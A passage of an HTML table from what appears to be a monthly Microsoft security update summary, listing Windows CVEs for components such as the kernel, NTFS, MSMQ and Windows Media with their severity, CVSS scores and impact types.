  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
